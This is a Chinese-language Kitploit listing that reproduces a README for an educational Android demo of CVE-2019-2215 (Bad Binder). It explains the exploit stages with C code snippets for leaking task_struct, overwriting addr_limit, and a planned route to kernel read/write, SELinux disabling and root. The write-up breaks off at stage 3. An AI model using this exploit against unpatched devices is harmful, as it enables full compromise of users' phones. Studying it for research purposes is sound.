Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
android-badbinder-demo — 演示 CVE-2019-2215 (Bad Binder) 针对 Android Q | Kitploit
工具/GitHubGitHub/i-redbyte/android-badbinder-demo
Android安全权限提升漏洞利用学习与教育二进制利用
GitHubi-redbyte/android-badbinder-demo

android-badbinder-demo

演示 CVE-2019-2215 (Bad Binder) 针对 Android Q

查看仓库
514211个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2019-2215 (Bad Binder) — 漏洞利用分析

此仓库是研究 CVE-2019-2215 (Bad Binder) 漏洞并编写适用于 Android 的工作原型 exploit 的小型测试项目,附带一个基于 Kotlin/Jetpack Compose 的简单图形界面。

本 README 中我将:

  1. 描述环境准备和原型 exploit 的启动。
  2. 分析 CVE-2019-2215 漏洞利用的主要阶段,并将其与 C 代码中的具体函数对应起来。
  3. 单独列出我在过程中遇到的困难以及如何解决它们。

预构建 APK (GitHub Actions)

仓库中配置了 GitHub Actions workflow,每次 push/PR 时使用 ./gradlew assembleDebug 构建项目,并将构建好的 badbinder-debug.apk 发布为制品。

下载方式:

  1. 打开仓库中的 Actions 标签页。
  2. 选择对应的 workflow 运行记录。
  3. 在页面底部找到 Artifacts 区域,下载包含 APK 的 badbinder-debug-apk 压缩包。

这样做是为了方便,如果只是想测试应用而无需搭建本地环境。


漏洞简介

CVE-2019-2215 是 Android 内核 Binder IPC 子系统中的一个 Use-After-Free (UAF) 漏洞。

简化来说:

  • 内核中存在一个结构体 struct binder_thread,描述执行 Binder 调用的线程;
  • 该结构体可能被释放 (free),但在特定调用序列下仍保留在等待队列 (waitqueue) 中;
  • 之后内核尝试对已释放的内存在 remove_wait_queue 中进行操作,从而触发经典的 UAF 场景;
  • 如果精心设置环境及后续分配,可以迫使内核读/写任意地址,进而获取内核权限,再提升至 userspace root。

更详细的理论分析基于以下资料:

  1. https://cloudfuzz.github.io/android-kernel-exploitation/
  2. https://dayzerosec.com/blog/2019/11/07/analyzing-androids-cve-2019-2215-dev-binder-uaf.html
  3. https://hernan.de/blog/tailoring-cve-2019-2215-to-achieve-root/

1. 环境准备与原型 exploit 启动

1.1. 选择并准备虚拟设备

根据任务要求,建议使用 Android 10.0 (Q) x86_64 的 AVD 镜像。
我执行了以下步骤:

  1. 在 Android Studio 中创建 AVD (Pixel 设备, Android 10 (Q), x86_64)。
  2. 确认镜像中启用了 Binder 并存在 /dev/binder 设备。
  3. 启用 USB/ADB 调试并检查设备访问:
    adb shell
    ls -l /dev/binder
    

在此阶段我遇到了一个令人不快的事实:
目前 最新的 AVD 镜像已附带修补过的内核,其中已修复 CVE-2019-2215。也就是说,在现在的官方模拟器上无法真正获取 root — exploit 会在后续阶段崩溃,或根本无法提权。

因此,我将 AVD 用作 复现 exploit 逻辑的训练环境:

  • 我可以获得相同的系统调用序列,
  • 观察 UAF 尝试、地址泄漏以及改写 addr_limit 的尝试,
  • 但最终“获取 root”在当前修补过的内核上自然无法生效(这是预期的)。

这是一个重要的细节:以下所有代码和报告均为 教学性质,而非“实战”性质。


1.2. 构建包含原生 exploit 的 Android 应用

我制作了一个小型 Android 应用:

  • UI 基于 Kotlin + Jetpack Compose,
  • 原生部分 用 C 通过 JNI 实现 — 即 exploit 本身的代码,
  • 两者之间通过 JNI 回调通信,使得来自 C 代码的字符串直接显示在 UI 中。

主要步骤:

  1. 在 Android Studio 中创建普通项目(Kotlin,最低支持 Android 10)。

  2. 集成 NDK 和 CMake。

  3. 添加原生 exploit 文件(即包含 leak_task_struct、overwrite_addr_limit 等函数的 cve-2019-2215.c)。

  4. 在 CMakeLists.txt 中添加构建 libcve-2019-2215.so 的规则。

  5. 在 MainActivity 中:

    init {
        System.loadLibrary("cve-2019-2215")
    }
    
    external fun runNativeExploit(): String
    external fun setNativeLogger(logger: NativeLogger)
    
  6. 在 Kotlin 侧创建 ExploitViewModel,它实现 NativeLogger 接口,并将所有消息存入 StateFlow<List<String>>。UI 订阅此流并在“终端”中显示日志。

在 Activity 启动时,我调用 setNativeLogger(viewModel),以便原生代码获取一个可以向其发送字符串的对象。


1.3. 启动与使用场景

  1. 构建并安装应用:

    ./gradlew installDebug
    
  2. 启动 AVD 和该应用。

  3. 屏幕上显示一个“终端”和 RUN EXPLOIT 按钮。

  4. 点击按钮后:

    • Kotlin 在后台线程中调用 runNativeExploit()。
    • C 代码开始执行 exploit 的所有阶段,并记录日志步骤。
    • 通过 JNI 回调,日志进入 ViewModel,并在 Compose UI 中显示。

在真实存在漏洞的内核上,我期望最终看到类似如下输出:

[+] Selinux changed: Permissive now.
[+] Root escalation successful!
uid=0(root)...

而在当前 Android 10 模拟器上,这当然不会发生,但其余部分 — task_struct 泄漏、改写 addr_limit 的尝试、计算 cred 和 kernel_base — 都作为“场景”得以执行,这符合任务要求。


2. exploit 主要阶段分析及与代码的对应关系

下面是用 C 函数对应的 exploit 逻辑示意图。

2.1. exploit 总体流程

高级计划如下:

  1. 在 struct binder_thread 对象上创建 UAF,并利用它泄漏自身进程的 task_struct 地址 (leak_task_struct)。
  2. 通过第二次 UAF 循环和精心构造的结构,改写 task_struct 中的 addr_limit 字段 (overwrite_addr_limit) — 这消除了用户空间和内核空间地址之间的限制,以便后续的 copy_to_user / copy_from_user。
  3. 利用管道实现任意内核内存读/写 (arb_read / arb_write)。
  4. 据此找到当前进程的 cred 和内核基址 (verifying),然后:
    • 关闭 SELinux (selinux_enforcing = 0),
    • 改写 cred 字段,成为 root 并获得完整能力集 (runNativeExploit)。

同时,我集成了 JNI 日志记录器,以便在 UI 中直接看到所有这些阶段。


2.2. 阶段 1 — 泄漏 task_struct 地址 (leak_task_struct)

关键函数:

void leak_task_struct() {
    android_log("[*] Starting leak_task_struct...");

    cpu_set_t cpu_set;
    CPU_ZERO(&cpu_set);
    CPU_SET(0, &cpu_set);
    ret = sched_setaffinity(0, sizeof(cpu_set), &cpu_set);
    assert(ret >= 0);
    ...
}

函数作用:

  1. 将线程固定在 CPU 0 上 (sched_setaffinity),使内核分配器的行为更可预测。这提高了 UAF 利用的稳定性。

  2. 打开 /dev/binder,创建 epoll 描述符:

    fd = open("/dev/binder", O_RDONLY);
    epfd = epoll_create(1000);
    

    将 Binder 描述符注册到 epoll:

    epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);
    
  3. 准备 struct iovec iov_buffers[IOVEC_N] 数组并分配内存:

    spinner = mmap((void *)0x100000000, page_size, PROT_READ | PROT_WRITE,
                   MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    

    这里重要的是地址的低 32 位为零:

    if (((long) spinner & 0xffffffff) != 0) {
        android_log("[!] mmap returned wrong address!");
        return;
    }
    

    这与漏洞利用文章中的技术相符:后续内核会将我们的部分数据解释为包含指针的结构体,而这种“漂亮对齐”的地址简化了滥用。

    然后填充 iov_buffers[0xa] 和 iov_buffers[0xb] 字段,使得在 UAF 发生时,内核将包含 task_struct 指针的内存块复制到管道中。

  4. 创建管道并将其缓冲区大小设为 0x1000:

    int pipe_fd[2];
    ret = pipe(pipe_fd);
    fcntl(pipe_fd[1], F_SETPIPE_SZ, 0x1000);
    fcntl(pipe_fd[0], F_SETPIPE_SZ, 0x1000);
    
  5. 接下来是 经典的 UAF 竞争。我启动一个子进程:

    if (!fork()) {
        android_log("\t[C] Long sleep to ensure accuracy...");
        sleep(1);
    
        android_log("\t[*] Triggering UAF");
        epoll_ctl(epfd, EPOLL_CTL_DEL, fd, &event);
    
        android_log("\t[C] Removing useless data from pipe...");
        ret = read(pipe_fd[0], buf, 0x1000);
        ...
        _exit(0);
    }
    
    • 父进程继续执行后续代码。
    • 在子进程中,epoll_ctl(..., EPOLL_CTL_DEL, ...) 导致内核中关联的 binder_thread 被释放,但它仍然出现在等待队列结构中 — 这就是 UAF 点。
  6. 在父进程中,我调用:

    ioctl(fd, BINDER_THREAD_EXIT, NULL);      // 释放 binder_thread
    ret = writev(pipe_fd[1], iov_buffers, IOVEC_N);
    

    在此阶段,由于 UAF,writev 使用了已释放的内存作为 iovec 结构,实际上重新解释了之前存放 binder_thread 的同一内存区域,但现在将其视为指针/长度集合。副作用之一是将内核内存片段复制到我们的管道中。

  7. 最后,我从管道中读取:

    read(pipe_fd[0], buf, 0x1000);
    task_struct = *(unsigned long *)(buf + 0xe8);
    android_log_hex("[+] task_struct found", task_struct);
    

    偏移 0xe8 是针对特定内核版本调整的 — 在泄漏的内存块中,该位置包含指向我的进程 task_struct 的指针。

结果:我得到了内核中 task_struct 的地址,这对后续步骤至关重要。


2.3. 阶段 2 — 改写 addr_limit (overwrite_addr_limit)

task_struct 中的 addr_limit 决定了进程在系统调用中可以传递哪些地址作为用户空间指针。如果将其改写为接近最大值,内核将无法区分用户空间地址和其自身地址空间中的地址 — 许多看似安全的 copy_(to|from)_user 操作将变成任意内核读/写。

函数:

void overwrite_addr_limit() {
    android_log("[*] Starting overwrite_addr_limit...");
    ...
}

遵循非常相似的模式:

  1. 再次固定 CPU 亲和性,打开 /dev/binder,创建 epoll。

  2. 准备 iov_buffers,但这次方案不同:

    iov_buffers[0xa].iov_base = spinner;
    iov_buffers[0xa].iov_len = 0x1;
    iov_buffers[0xb].iov_base = read_buffer0;
    iov_buffers[0xb].iov_len = 0x8 * 5;
    iov_buffers[0xc].iov_base = read_buffer0;
    iov_buffers[0xc].iov_len = 0x8;
    
  3. 使用 socketpair(AF_UNIX, SOCK_STREAM, ...) 代替管道:

    int socket[2];
    ret = socketpair(AF_UNIX, SOCK_STREAM, 0, socket);
    write(socket[1], "A", 1);
    
  4. 为 recvmsg 准备 msghdr 结构:

    struct msghdr msg;
    msg.msg_iov = iov_buffers;
    msg.msg_iovlen = IOVEC_N;
    ...
    
  5. 在子进程中(fork() 后)再次启动 UAF 竞争:

    if (!fork()) {
        ...
        epoll_ctl(epfd, EPOLL_CTL_DEL, fd, &event);
    
        long data1234[] = {1, 0x13371337, 0x28,
                           task_struct + ADDR_LIMIT_OFFSET, 0x8};
        ret = write(socket[1], data1234, 0x28);
    
        data1234[0] = data1234[1] = data1234[2] = data1234[3]
            = 0xfffffffffffffffe;
        ret = write(socket[1], data1234, 0x8);
        ...
    }
    
  6. 父进程照例释放 binder_thread 并调用 recvmsg:

    ioctl(fd, BINDER_THREAD_EXIT, NULL);
    ret = recvmsg(socket[0], &msg, MSG_WAITALL);
    

    由于 UAF 和巧妙的结构替换,内核最终将 task_struct + ADDR_LIMIT_OFFSET 视为用户缓冲区地址,并将发送的结构体内容复制到该地址(我们的值 0xfffffffffffffffe),从而改写 task_struct 中的 addr_limit。

  7. 在日志中写入:

    android_log("[!] addr_limit overwrite done.");
    

2.4. 阶段 3 — 任意读/写与验证 (arb_read, arb_write, verifying)

改写 addr_limit 后,我使用管道将普通读/写操作转化为读取和写入内核地址的能力。

下载工具